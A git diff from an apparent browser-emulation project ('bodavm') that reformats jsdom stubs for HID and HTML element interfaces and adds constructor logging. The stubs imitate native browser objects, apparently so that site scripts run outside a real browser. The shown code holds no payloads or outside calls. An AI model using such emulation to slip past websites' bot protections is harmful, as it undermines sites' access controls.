HIDConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HIDConnectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDConnectionEvent'], "HIDConnectionEvent"); -bodavm.memory.globalobj['HIDConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HIDConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HIDConnectionEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDConnectionEvent'].prototype, "HIDConnectionEvent", "device_get", arguments)}, set:undefined},'prototype'); +// HIDConnectionEvent对象 + +bodavm.memory.globalobj['HIDConnectionEvent'] = function HIDConnectionEvent() { + console.log_copy('HIDConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HIDConnectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDConnectionEvent'], "HIDConnectionEvent"); +bodavm.memory.globalobj['HIDConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HIDConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HIDConnectionEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDConnectionEvent'].prototype, "HIDConnectionEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HIDDevice.js b/env_xbb_lastest_jsdom/env/HIDDevice.js index 3fdf51da..4d347d3a 100644 --- a/env_xbb_lastest_jsdom/env/HIDDevice.js +++ b/env_xbb_lastest_jsdom/env/HIDDevice.js @@ -1,17 +1,117 @@ -// HIDDevice对象 -bodavm.memory.globalobj['HIDDevice'] = function HIDDevice(){if (!(this instanceof HIDDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDDevice'], "HIDDevice"); -bodavm.memory.globalobj['HIDDevice'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['HIDDevice'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('HIDDevice', "oninputreport", {configurable:true, enumerable:true, get:function oninputreport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_get", arguments)}, set:function oninputreport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "opened", {configurable:true, enumerable:true, get:function opened (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "opened_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "vendorId", {configurable:true, enumerable:true, get:function vendorId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "vendorId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "productId", {configurable:true, enumerable:true, get:function productId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "productName", {configurable:true, enumerable:true, get:function productName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "collections", {configurable:true, enumerable:true, get:function collections (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "collections_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "receiveFeatureReport", {configurable:true, enumerable:true, writable:true, value:function receiveFeatureReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "receiveFeatureReport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "sendFeatureReport", {configurable:true, enumerable:true, writable:true, value:function sendFeatureReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendFeatureReport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HIDDevice', "sendReport", {configurable:true, enumerable:true, writable:true, value:function sendReport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendReport", arguments)}},'prototype'); +// HIDDevice对象 + +bodavm.memory.globalobj['HIDDevice'] = function HIDDevice() { + console.log_copy('HIDDevice 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDDevice)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDDevice'], "HIDDevice"); +bodavm.memory.globalobj['HIDDevice'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['HIDDevice'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('HIDDevice', "oninputreport", { + configurable: true, + enumerable: true, + get: function oninputreport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_get", arguments); + }, + set: function oninputreport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "oninputreport_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "opened", { + configurable: true, + enumerable: true, + get: function opened() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "opened_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "vendorId", { + configurable: true, + enumerable: true, + get: function vendorId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "vendorId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "productId", { + configurable: true, + enumerable: true, + get: function productId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "productName", { + configurable: true, + enumerable: true, + get: function productName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "productName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "collections", { + configurable: true, + enumerable: true, + get: function collections() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "collections_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "forget", { + configurable: true, + enumerable: true, + writable: true, + value: function forget() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "forget", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "receiveFeatureReport", { + configurable: true, + enumerable: true, + writable: true, + value: function receiveFeatureReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "receiveFeatureReport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "sendFeatureReport", { + configurable: true, + enumerable: true, + writable: true, + value: function sendFeatureReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendFeatureReport", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDDevice', "sendReport", { + configurable: true, + enumerable: true, + writable: true, + value: function sendReport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDDevice'].prototype, "HIDDevice", "sendReport", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HIDInputReportEvent.js b/env_xbb_lastest_jsdom/env/HIDInputReportEvent.js index 607a1739..4fb6f85e 100644 --- a/env_xbb_lastest_jsdom/env/HIDInputReportEvent.js +++ b/env_xbb_lastest_jsdom/env/HIDInputReportEvent.js @@ -1,8 +1,43 @@ -// HIDInputReportEvent对象 -bodavm.memory.globalobj['HIDInputReportEvent'] = function HIDInputReportEvent(){if (!(this instanceof HIDInputReportEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDInputReportEvent'], "HIDInputReportEvent"); -bodavm.memory.globalobj['HIDInputReportEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HIDInputReportEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "device_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "reportId", {configurable:true, enumerable:true, get:function reportId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "reportId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "data_get", arguments)}, set:undefined},'prototype'); +// HIDInputReportEvent对象 + +bodavm.memory.globalobj['HIDInputReportEvent'] = function HIDInputReportEvent() { + console.log_copy('HIDInputReportEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HIDInputReportEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HIDInputReportEvent'], "HIDInputReportEvent"); +bodavm.memory.globalobj['HIDInputReportEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HIDInputReportEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "device", { + configurable: true, + enumerable: true, + get: function device() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "device_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "reportId", { + configurable: true, + enumerable: true, + get: function reportId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "reportId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HIDInputReportEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HIDInputReportEvent'].prototype, "HIDInputReportEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLAllCollection.js b/env_xbb_lastest_jsdom/env/HTMLAllCollection.js index 56b2499f..29061998 100644 --- a/env_xbb_lastest_jsdom/env/HTMLAllCollection.js +++ b/env_xbb_lastest_jsdom/env/HTMLAllCollection.js @@ -1,6 +1,41 @@ -// HTMLAllCollection对象 -bodavm.memory.globalobj['HTMLAllCollection'] = function HTMLAllCollection(){if (!(this instanceof HTMLAllCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAllCollection'], "HTMLAllCollection"); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAllCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "namedItem", arguments)}},'prototype'); +// HTMLAllCollection对象 + +bodavm.memory.globalobj['HTMLAllCollection'] = function HTMLAllCollection() { + console.log_copy('HTMLAllCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAllCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAllCollection'], "HTMLAllCollection"); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAllCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAllCollection'].prototype, "HTMLAllCollection", "namedItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLAnchorElement.js b/env_xbb_lastest_jsdom/env/HTMLAnchorElement.js index 587f09b6..80092b7c 100644 --- a/env_xbb_lastest_jsdom/env/HTMLAnchorElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLAnchorElement.js @@ -1,32 +1,285 @@ -// HTMLAnchorElement对象 -bodavm.memory.globalobj['HTMLAnchorElement'] = function HTMLAnchorElement(){if (!(this instanceof HTMLAnchorElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAnchorElement'], "HTMLAnchorElement"); -bodavm.memory.globalobj['HTMLAnchorElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLAnchorElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "download", {configurable:true, enumerable:true, get:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_get", arguments)}, set:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "ping", {configurable:true, enumerable:true, get:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_get", arguments)}, set:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_get", arguments)}, set:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rev", {configurable:true, enumerable:true, get:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_get", arguments)}, set:function rev (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "shape", {configurable:true, enumerable:true, get:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_get", arguments)}, set:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "toString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hrefTranslate", {configurable:true, enumerable:true, get:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_get", arguments)}, set:function hrefTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_set", arguments)}},'prototype'); +// HTMLAnchorElement对象 + +bodavm.memory.globalobj['HTMLAnchorElement'] = function HTMLAnchorElement() { + console.log_copy('HTMLAnchorElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAnchorElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAnchorElement'], "HTMLAnchorElement"); +bodavm.memory.globalobj['HTMLAnchorElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLAnchorElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "target_set", arguments); + } +}, 'prototype'); 